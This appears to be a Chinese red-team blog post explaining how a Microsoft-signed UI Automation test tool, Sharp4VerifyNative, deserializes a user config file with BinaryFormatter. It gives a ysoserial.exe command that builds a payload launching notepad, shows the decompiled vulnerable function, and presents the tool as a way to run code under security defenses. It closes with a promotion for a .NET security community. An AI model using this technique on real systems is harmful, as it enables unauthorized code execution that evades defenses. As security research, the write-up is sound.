01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4VerifyNative是一款具备微软白名单的可执行文件,专门设计用于手动和自动测试基于Microsoft UI Automation框架实现的程序。得益于其合法的微软签名,该工具在许多安全防护措施下依然可以顺利运行,因此成为了红队活动中的一款重要工具。
03使用方法
Sharp4VerifyNative通过利用此反序列化漏洞启动新进程,因此,我们可以使用工具如ysoserial.exe来生成恶意的序列化数据,并写入Roaminguiverify.config文件中。以下是具体步骤:
首先,使用ysoserial.exe生成一个Roaminguiverify.config文件,其中包含执行notepad的Payload:
ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "notepad" > Roaminguiverify.config
将生成的Roaminguiverify.config
文件写入到当前用户目录,比如C:\Users\Ivan1ee\AppData\Roaminguiverify.config。接着,运行Sharp4VerifyNative.exe,该工具将反序列化并执行Roaminguiverify.config中的代码,从而启动记事本。
04原理解析
在对Sharp4VerifyNative进行反编译后,我们在MainWindow类中发现了一个非常有趣且关键的函数:ApplicationStateDeserialize。以下是该函数的代码:
private void ApplicationStateDeserialize()
{this._configFile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "uiverify.config";if (File.Exists(this._configFile)){Stream stream = File.Open(this._configFile, FileMode.Open);BinaryFormatter binaryFormatter = new BinaryFormatter();this._applicationState = (ApplicationState)binaryFormatter.Deserialize(stream);stream.Close();}
}
从代码中可以看出,ApplicationStateDeserialize函数通过BinaryFormatter.Deserialize方法来反序列化存储在Roaminguiverify.config中的数据。此操作本质上是在恢复应用程序状态,但由于使用了BinaryFormatter,该函数存在反序列化漏洞,可被恶意利用来执行任意代码。
综上,Microsoft UI Automation框架是用于访问和操作用户界面的一个标准API,常用于测试和自动化任务中,而Sharp4VerifyNative通过其反序列化功能,为恶意利用提供了一个有效的攻击面。
05.NET安全知识库
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题。
星球文化20+个专题栏目涵盖了点、线、面、体等知识面!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。